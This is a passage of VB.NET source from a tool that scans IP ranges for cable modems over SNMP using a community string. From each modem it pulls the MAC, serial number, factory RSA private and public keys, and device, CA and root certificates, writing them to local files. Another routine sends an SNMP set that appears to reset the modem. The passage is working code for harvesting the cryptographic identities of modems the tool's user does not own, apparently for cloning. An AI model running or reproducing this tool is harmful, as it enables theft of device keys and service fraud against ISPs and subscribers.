  5700.                 myProcess7.StartInfo.RedirectStandardOutput = True
  5701.                 myProcess7.StartInfo.RedirectStandardError = True
  5702.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  5703.                 myProcess7.Start()
  5704.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  5705.                 sIn7.AutoFlush = True
  5706.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  5707.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  5708.                 s7 = sOut7.ReadToEnd()
  5709.                 If Not myProcess7.HasExited Then
  5710.                     myProcess7.Kill()
  5711.                 End If
  5712.                 sIn7.Close()
  5713.                 sOut7.Close()
  5714.                 sErr7.Close()
  5715.                 myProcess7.Close()
  5716.  
  5717.                 Timer1.Enabled = True
  5718.             Catch ex As Exception
  5719.                 Exit Sub
  5720.             End Try
  5721.         End If
  5722.     End Sub
  5723.     Sub check8(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  5724.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  5725.         Dim x = "C:\snmpcert\snmpget.exe"
  5726.         Dim myProcess As Process = New Process
  5727.         Dim s As String = ""
  5728.         myProcess.StartInfo.FileName = x
  5729.         myProcess.StartInfo.UseShellExecute = False
  5730.         myProcess.StartInfo.CreateNoWindow = True
  5731.         myProcess.StartInfo.RedirectStandardInput = True
  5732.         myProcess.StartInfo.RedirectStandardOutput = True
  5733.         myProcess.StartInfo.RedirectStandardError = True
  5734.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  5735.         myProcess.Start()
  5736.         Dim sIn As StreamWriter = myProcess.StandardInput
  5737.         sIn.AutoFlush = True
  5738.         Dim sOut As StreamReader = myProcess.StandardOutput
  5739.         Dim sErr As StreamReader = myProcess.StandardError
  5740.  
  5741.  
  5742.         s = sOut.ReadToEnd()
  5743.         Dim e As String = sErr.ReadToEnd
  5744.         Console.WriteLine(s)
  5745.         output = e
  5746.         output = s
  5747.         If Not myProcess.HasExited Then
  5748.             myProcess.Kill()
  5749.         End If
  5750.         sIn.Close()
  5751.         sOut.Close()
  5752.         sErr.Close()
  5753.         myProcess.Close()
  5754.         Dim temp As String = ""
  5755.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  5756.         temp = Replace(temp, Chr(34), "")
  5757.         If temp = Nothing Then
  5758.             temp = ""
  5759.         Else
  5760.             If temp = "No Such Object available on this agent at this OID" Then
  5761.                 allmodems += 1
  5762.             End If
  5763.             temp = temp.ToString.ToUpper
  5764.             Dim values As String
  5765.             values = temp
  5766.             Dim sites As String() = Nothing
  5767.             sites = values.Split(" ")
  5768.             Dim t As String
  5769.             For Each t In sites
  5770.                 If t = "NO" Then
  5771.                     track = 1
  5772.  
  5773.                 End If
  5774.  
  5775.             Next t
  5776.         End If
  5777.         If temp.ToString = "" Then
  5778.             Timer1.Enabled = True
  5779.             Exit Sub
  5780.         ElseIf track = 1 Then
  5781.             track = 0
  5782.             Timer1.Enabled = True
  5783.             Exit Sub
  5784.         Else
  5785.             total_modems += 1
  5786.  
  5787.             Try
  5788.                 Dim mymac1 As Process = New Process
  5789.                 Dim sm As String
  5790.                 mymac1.StartInfo.FileName = x
  5791.                 mymac1.StartInfo.UseShellExecute = False
  5792.                 mymac1.StartInfo.CreateNoWindow = True
  5793.                 mymac1.StartInfo.RedirectStandardInput = True
  5794.                 mymac1.StartInfo.RedirectStandardOutput = True
  5795.                 mymac1.StartInfo.RedirectStandardError = True
  5796.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  5797.                 mymac1.Start()
  5798.                 Dim sInm As StreamWriter = mymac1.StandardInput
  5799.                 sInm.AutoFlush = True
  5800.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  5801.                 Dim sErrm As StreamReader = mymac1.StandardError
  5802.                 sm = sOutm.ReadToEnd()
  5803.                 If Not mymac1.HasExited Then
  5804.                     mymac1.Kill()
  5805.                 End If
  5806.                 sInm.Close()
  5807.                 sOutm.Close()
  5808.                 sErrm.Close()
  5809.                 mymac1.Close()
  5810.                 Dim tempm As String = ""
  5811.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  5812.                 tempm = Replace(tempm, "Hex-", Nothing)
  5813.                 tempm = Replace(tempm, Chr(34), Nothing)
  5814.                 tempm = Replace(tempm, ":", Nothing)
  5815.                 tempm = Replace(tempm, " ", Nothing)
  5816.                 temp = Replace(temp, vbCrLf, Nothing)
  5817.                 tempm = Replace(tempm, vbCrLf, Nothing)
  5818.                 Dim usbmac As Process = New Process
  5819.                 Dim sm1 As String
  5820.                 usbmac.StartInfo.FileName = x
  5821.                 usbmac.StartInfo.UseShellExecute = False
  5822.                 usbmac.StartInfo.CreateNoWindow = True
  5823.                 usbmac.StartInfo.RedirectStandardInput = True
  5824.                 usbmac.StartInfo.RedirectStandardOutput = True
  5825.                 usbmac.StartInfo.RedirectStandardError = True
  5826.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  5827.                 usbmac.Start()
  5828.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  5829.                 sInm1.AutoFlush = True
  5830.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  5831.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  5832.                 sm1 = sOutm1.ReadToEnd()
  5833.                 If Not usbmac.HasExited Then
  5834.                     usbmac.Kill()
  5835.                 End If
  5836.                 sInm1.Close()
  5837.                 sOutm1.Close()
  5838.                 sErrm1.Close()
  5839.                 usbmac.Close()
  5840.                 Dim tempum As String = ""
  5841.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  5842.                 tempum = Replace(tempum, "Hex-", Nothing)
  5843.                 tempum = Replace(tempum, Chr(34), Nothing)
  5844.                 tempum = Replace(tempum, ":", Nothing)
  5845.                 tempum = Replace(tempum, " ", Nothing)
  5846.                 tempum = Replace(tempum, vbCrLf, Nothing)
  5847.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  5848.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  5849.                 'get SERIAL number
  5850.                 Dim myProcessSER As Process = New Process
  5851.                 Dim sSER As String
  5852.                 myProcessSER.StartInfo.FileName = x
  5853.                 myProcessSER.StartInfo.UseShellExecute = False
  5854.                 myProcessSER.StartInfo.CreateNoWindow = True
  5855.                 myProcessSER.StartInfo.RedirectStandardInput = True
  5856.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  5857.                 myProcessSER.StartInfo.RedirectStandardError = True
  5858.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  5859.                 myProcessSER.Start()
  5860.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  5861.                 sInSER.AutoFlush = True
  5862.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  5863.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  5864.                 sSER = sOutSER.ReadToEnd()
  5865.                 If Not myProcessSER.HasExited Then
  5866.                     myProcessSER.Kill()
  5867.                 End If
  5868.                 sInSER.Close()
  5869.                 sOutSER.Close()
  5870.                 sErrSER.Close()
  5871.                 myProcessSER.Close()
  5872.                 Dim tempSER As String
  5873.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  5874.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  5875.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  5876.  
  5877.  
  5878.  
  5879.  
  5880.  
  5881.  
  5882.                 'get download speed
  5883.  
  5884.                 Dim myProcessspeedd As Process = New Process
  5885.                 Dim sspeedd As String
  5886.                 myProcessspeedd.StartInfo.FileName = x
  5887.                 myProcessspeedd.StartInfo.UseShellExecute = False
  5888.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  5889.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  5890.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  5891.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  5892.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  5893.                 myProcessspeedd.Start()
  5894.  
  5895.  
  5896.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  5897.                 sInSpeedd.AutoFlush = True
  5898.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  5899.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  5900.                 sspeedd = sOutSpeedd.ReadToEnd()
  5901.                 If Not myProcessspeedd.HasExited Then
  5902.                     myProcessspeedd.Kill()
  5903.                 End If
  5904.                 sInSpeedd.Close()
  5905.                 sOutSpeedd.Close()
  5906.                 sErrSpeedd.Close()
  5907.                 myProcessspeedd.Close()
  5908.                 Dim tempSpeedd As String
  5909.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  5910.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  5911.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  5912.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  5913.                 'get upload speed
  5914.                 Dim myProcessspeedu As Process = New Process
  5915.                 Dim sspeedu As String
  5916.                 myProcessspeedu.StartInfo.FileName = x
  5917.                 myProcessspeedu.StartInfo.UseShellExecute = False
  5918.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  5919.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  5920.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  5921.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  5922.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  5923.                 myProcessspeedu.Start()
  5924.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  5925.                 sInSpeedu.AutoFlush = True
  5926.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  5927.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  5928.                 sspeedu = sOutSpeedu.ReadToEnd()
  5929.                 If Not myProcessspeedu.HasExited Then
  5930.                     myProcessspeedu.Kill()
  5931.                 End If
  5932.                 sInSpeedu.Close()
  5933.                 sOutSpeedu.Close()
  5934.                 sErrSpeedu.Close()
  5935.                 myProcessspeedu.Close()
  5936.                 Dim tempSpeedu As String
  5937.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  5938.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  5939.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  5940.  
  5941.  
  5942.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  5943.                     'get download speed doccis 1.1 +
  5944.                     Dim myProcessspeedd1 As Process = New Process
  5945.                     Dim sspeedd1 As String
  5946.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  5947.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  5948.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  5949.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  5950.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  5951.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  5952.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  5953.                     myProcessspeedd1.Start()
  5954.  
  5955.  
  5956.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  5957.                     sInSpeedd1.AutoFlush = True
  5958.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  5959.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  5960.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  5961.                     If Not myProcessspeedd1.HasExited Then
  5962.                         myProcessspeedd1.Kill()
  5963.                     End If
  5964.                     sInSpeedd1.Close()
  5965.                     sOutSpeedd1.Close()
  5966.                     sErrSpeedd1.Close()
  5967.                     myProcessspeedd1.Close()
  5968.                     Dim tempSpeedd1 As String
  5969.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  5970.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  5971.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  5972.                     tempSpeedd = tempSpeedd1
  5973.  
  5974.                     Dim testing As String
  5975.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  5976.                     ''MsgBox(testing)
  5977.                     Dim split As String()
  5978.                     split = testing.Split(",")
  5979.                     tempSpeedd = split(0).ToString
  5980.                     tempSpeedu = split(4).ToString
  5981.                     ''MsgBox(tempSpeedd)
  5982.                     ''MsgBox(tempSpeedu)
  5983.                 End If
  5984.  
  5985.  
  5986.  
  5987.                 Dim oFileSER As System.IO.File
  5988.                 Dim oWriteSER As System.IO.StreamWriter
  5989.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  5990.                 oWriteSER = oFileSER.CreateText(filedirSER)
  5991.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  5992.                 oWriteSER.Close()
  5993.  
  5994.                 Dim filetodelete As String
  5995.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  5996.                 If System.IO.File.Exists(filetodelete) = True Then
  5997.                     System.IO.File.Delete(filetodelete)
  5998.                 End If
  5999.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  6000.                 If System.IO.File.Exists(filetodelete) = True Then
  6001.                     System.IO.File.Delete(filetodelete)
  6002.                 End If
  6003.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  6004.                 If System.IO.File.Exists(filetodelete) = True Then
  6005.                     System.IO.File.Delete(filetodelete)
  6006.                 End If
  6007.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  6008.                 If System.IO.File.Exists(filetodelete) = True Then
  6009.                     System.IO.File.Delete(filetodelete)
  6010.                 End If
  6011.  
  6012.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  6013.                 If System.IO.File.Exists(filetodelete) = True Then
  6014.                     System.IO.File.Delete(filetodelete)
  6015.                 End If
  6016.  
  6017.  
  6018.  
  6019.  
  6020.  
  6021.  
  6022.  
  6023.                 'get cmFactoryRSAPublicKey.txt
  6024.                 Dim myProcess1 As Process = New Process
  6025.                 Dim s1 As String
  6026.                 myProcess1.StartInfo.FileName = x
  6027.                 myProcess1.StartInfo.UseShellExecute = False
  6028.                 myProcess1.StartInfo.CreateNoWindow = True
  6029.                 myProcess1.StartInfo.RedirectStandardInput = True
  6030.                 myProcess1.StartInfo.RedirectStandardOutput = True
  6031.                 myProcess1.StartInfo.RedirectStandardError = True
  6032.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  6033.                 myProcess1.Start()
  6034.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  6035.                 sIn1.AutoFlush = True
  6036.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  6037.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  6038.                 s1 = sOut1.ReadToEnd()
  6039.                 If Not myProcess1.HasExited Then
  6040.                     myProcess1.Kill()
  6041.                 End If
  6042.                 sIn1.Close()
  6043.                 sOut1.Close()
  6044.                 sErr1.Close()
  6045.                 myProcess1.Close()
  6046.                 Dim temp1 As String
  6047.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  6048.                 temp1 = Replace(temp1, "Hex-", Nothing)
  6049.                 temp1 = Replace(temp1, Chr(34), Nothing)
  6050.                 Dim oFile As System.IO.File
  6051.                 Dim oWrite As System.IO.StreamWriter
  6052.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  6053.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  6054.                 End If
  6055.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  6056.                 oWrite = oFile.CreateText(filedir)
  6057.                 oWrite.WriteLine(temp1)
  6058.                 oWrite.Close()
  6059.                 Dim bytelist1 As String()
  6060.                 Dim templist1 As String
  6061.                 templist1 = Replace(temp1, vbCrLf, " ")
  6062.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  6063.                 templist1 = Replace(templist1, " ", ",")
  6064.                 templist1 = Replace(templist1, ",,", ",")
  6065.                 bytelist1 = Split(templist1, ",")
  6066.                 Dim coutner1 As Integer
  6067.                 coutner1 = 2
  6068.                 Dim countback1 As Integer = bytelist1.Length - 2
  6069.                 Dim countup1 As Integer = 1
  6070.                 Dim watchvar1 As Integer = 0
  6071.                 While countback1 >= 0
  6072.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  6073.                         countup1 += 1
  6074.                     Else
  6075.                         watchvar1 = 1
  6076.                     End If
  6077.                     countback1 -= 1
  6078.                 End While
  6079.                 While coutner1 < bytelist1.Length - countup1
  6080.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  6081.                     Dim oFileStream1 As System.IO.FileStream
  6082.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  6083.                     oFileStream1.WriteByte(byteData)
  6084.                     oFileStream1.Close()
  6085.                     coutner1 += 1
  6086.                 End While
  6087.                 'get cmFactoryRSAPrivateKey.txt
  6088.                 Dim myProcess2 As Process = New Process
  6089.                 Dim s2 As String
  6090.                 myProcess2.StartInfo.FileName = x
  6091.                 myProcess2.StartInfo.UseShellExecute = False
  6092.                 myProcess2.StartInfo.CreateNoWindow = True
  6093.                 myProcess2.StartInfo.RedirectStandardInput = True
  6094.                 myProcess2.StartInfo.RedirectStandardOutput = True
  6095.                 myProcess2.StartInfo.RedirectStandardError = True
  6096.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  6097.                 myProcess2.Start()
  6098.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  6099.                 sIn2.AutoFlush = True
  6100.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  6101.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  6102.                 s2 = sOut2.ReadToEnd()
  6103.                 If Not myProcess2.HasExited Then
  6104.                     myProcess2.Kill()
  6105.                 End If
  6106.                 sIn2.Close()
  6107.                 sOut2.Close()
  6108.                 sErr2.Close()
  6109.                 myProcess2.Close()
  6110.                 Dim temp2 As String
  6111.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  6112.                 temp2 = Replace(temp2, "Hex-", "")
  6113.                 temp2 = Replace(temp2, Chr(34), "")
  6114.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  6115.                 oWrite = oFile.CreateText(filedir)
  6116.                 oWrite.WriteLine(temp2)
  6117.                 oWrite.Close()
  6118.                 Dim bytelist2 As String()
  6119.                 Dim templist2 As String
  6120.                 templist2 = Replace(temp2, vbCrLf, " ")
  6121.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  6122.                 templist2 = Replace(templist2, " ", ",")
  6123.                 templist2 = Replace(templist2, ",,", ",")
  6124.                 bytelist2 = Split(templist2, ",")
  6125.                 Dim coutner2 As Integer
  6126.                 coutner2 = 2
  6127.                 Dim countback2 As Integer = bytelist2.Length - 2
  6128.                 Dim countup2 As Integer = 1
  6129.                 Dim watchvar2 As Integer = 0
  6130.                 While countback2 >= 0
  6131.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  6132.                         countup2 += 1
  6133.                     Else
  6134.                         watchvar2 = 1
  6135.                     End If
  6136.                     countback2 -= 1
  6137.                 End While
  6138.                 While coutner2 < bytelist2.Length - countup2
  6139.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  6140.                     Dim oFileStream2 As System.IO.FileStream
  6141.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  6142.                     oFileStream2.WriteByte(byteData2)
  6143.                     oFileStream2.Close()
  6144.                     coutner2 += 1
  6145.                 End While
  6146.                 'get cmFactoryCMCertificate.txt
  6147.                 Dim myProcess3 As Process = New Process
  6148.                 Dim s3 As String
  6149.                 myProcess3.StartInfo.FileName = x
  6150.                 myProcess3.StartInfo.UseShellExecute = False
  6151.                 myProcess3.StartInfo.CreateNoWindow = True
  6152.                 myProcess3.StartInfo.RedirectStandardInput = True
  6153.                 myProcess3.StartInfo.RedirectStandardOutput = True
  6154.                 myProcess3.StartInfo.RedirectStandardError = True
  6155.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  6156.                 myProcess3.Start()
  6157.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  6158.                 sIn3.AutoFlush = True
  6159.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  6160.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  6161.                 s3 = sOut3.ReadToEnd()
  6162.                 If Not myProcess3.HasExited Then
  6163.                     myProcess3.Kill()
  6164.                 End If
  6165.                 sIn3.Close()
  6166.                 sOut3.Close()
  6167.                 sErr3.Close()
  6168.                 myProcess3.Close()
  6169.                 Dim temp3 As String
  6170.  
  6171.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  6172.                 temp3 = Replace(temp3, "Hex-", "")
  6173.                 temp3 = Replace(temp3, Chr(34), "")
  6174.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  6175.                 oWrite = oFile.CreateText(filedir)
  6176.                 oWrite.WriteLine(temp3)
  6177.                 oWrite.Close()
  6178.                 Dim bytelist3 As String()
  6179.                 Dim templist3 As String
  6180.                 templist3 = Replace(temp3, vbCrLf, " ")
  6181.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  6182.                 templist3 = Replace(templist3, " ", ",")
  6183.                 templist3 = Replace(templist3, ",,", ",")
  6184.                 bytelist3 = Split(templist3, ",")
  6185.                 Dim coutner3 As Integer
  6186.                 coutner3 = 2
  6187.                 Dim countback3 As Integer = bytelist3.Length - 2
  6188.                 Dim countup3 As Integer = 1
  6189.                 Dim watchvar3 As Integer = 0
  6190.                 While countback3 >= 0
  6191.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  6192.                         countup3 += 1
  6193.                     Else
  6194.                         watchvar3 = 1
  6195.                     End If
  6196.                     countback3 -= 1
  6197.                 End While
  6198.                 While coutner3 < bytelist3.Length - countup3
  6199.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  6200.                     Dim oFileStream3 As System.IO.FileStream
  6201.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  6202.                     oFileStream3.WriteByte(byteData3)
  6203.                     oFileStream3.Close()
  6204.                     coutner3 = coutner3 + 1
  6205.                 End While
  6206.                 'get cmFactoryCaCertificate.txt
  6207.                 Dim myProcess4 As Process = New Process
  6208.                 Dim s4 As String
  6209.                 myProcess4.StartInfo.FileName = x
  6210.                 myProcess4.StartInfo.UseShellExecute = False
  6211.                 myProcess4.StartInfo.CreateNoWindow = True
  6212.                 myProcess4.StartInfo.RedirectStandardInput = True
  6213.                 myProcess4.StartInfo.RedirectStandardOutput = True
  6214.                 myProcess4.StartInfo.RedirectStandardError = True
  6215.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  6216.                 myProcess4.Start()
  6217.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  6218.                 sIn4.AutoFlush = True
  6219.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  6220.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  6221.                 s4 = sOut4.ReadToEnd()
  6222.                 If Not myProcess4.HasExited Then
  6223.                     myProcess4.Kill()
  6224.                 End If
  6225.                 sIn4.Close()
  6226.                 sOut4.Close()
  6227.                 sErr4.Close()
  6228.                 myProcess4.Close()
  6229.                 Dim temp4 As String
  6230.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  6231.                 temp4 = Replace(temp4, "Hex-", "")
  6232.                 temp4 = Replace(temp4, Chr(34), "")
  6233.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  6234.                 oWrite = oFile.CreateText(filedir)
  6235.                 oWrite.WriteLine(temp4)
  6236.                 oWrite.Close()
  6237.                 Dim bytelist4 As String()
  6238.                 Dim templist4 As String
  6239.                 templist4 = Replace(temp4, vbCrLf, " ")
  6240.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  6241.                 templist4 = Replace(templist4, " ", ",")
  6242.                 templist4 = Replace(templist4, ",,", ",")
  6243.                 bytelist4 = Split(templist4, ",")
  6244.                 Dim coutner4 As Integer
  6245.                 coutner4 = 2
  6246.                 Dim countback4 As Integer = bytelist4.Length - 2
  6247.                 Dim countup4 As Integer = 1
  6248.                 Dim watchvar4 As Integer = 0
  6249.                 While countback4 >= 0
  6250.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  6251.                         countup4 = countup4 + 1
  6252.                     Else
  6253.                         watchvar4 = 1
  6254.                     End If
  6255.                     countback4 = countback4 - 1
  6256.                 End While
  6257.                 While coutner4 < bytelist4.Length - countup4
  6258.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  6259.                     Dim oFileStream4 As System.IO.FileStream
  6260.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  6261.                     oFileStream4.WriteByte(byteData4)
  6262.                     oFileStream4.Close()
  6263.                     coutner4 = coutner4 + 1
  6264.                 End While
  6265.                 'get cmFactoryRootCertificate.txt
  6266.                 Dim myProcess5 As Process = New Process
  6267.                 Dim s5 As String
  6268.                 myProcess5.StartInfo.FileName = x
  6269.                 myProcess5.StartInfo.UseShellExecute = False
  6270.                 myProcess5.StartInfo.CreateNoWindow = True
  6271.                 myProcess5.StartInfo.RedirectStandardInput = True
  6272.                 myProcess5.StartInfo.RedirectStandardOutput = True
  6273.                 myProcess5.StartInfo.RedirectStandardError = True
  6274.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  6275.                 myProcess5.Start()
  6276.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  6277.                 sIn5.AutoFlush = True
  6278.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  6279.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  6280.                 s5 = sOut5.ReadToEnd()
  6281.                 If Not myProcess5.HasExited Then
  6282.                     myProcess5.Kill()
  6283.                 End If
  6284.                 sIn5.Close()
  6285.                 sOut5.Close()
  6286.                 sErr5.Close()
  6287.                 myProcess5.Close()
  6288.                 Dim temp5 As String
  6289.  
  6290.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  6291.                 temp5 = Replace(temp5, "Hex-", "")
  6292.                 temp5 = Replace(temp5, Chr(34), "")
  6293.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  6294.                 oWrite = oFile.CreateText(filedir)
  6295.                 oWrite.WriteLine(temp5)
  6296.                 oWrite.Close()
  6297.                 Dim bytelist5 As String()
  6298.                 Dim templist5 As String
  6299.                 templist5 = Replace(temp5, vbCrLf, " ")
  6300.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  6301.                 templist5 = Replace(templist5, " ", ",")
  6302.                 templist5 = Replace(templist5, ",,", ",")
  6303.                 bytelist5 = Split(templist5, ",")
  6304.                 Dim coutner5 As Integer
  6305.                 coutner5 = 2
  6306.                 Dim countback5 As Integer = bytelist5.Length - 2
  6307.                 Dim countup5 As Integer = 1
  6308.                 Dim watchvar5 As Integer = 0
  6309.                 While countback5 >= 0
  6310.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
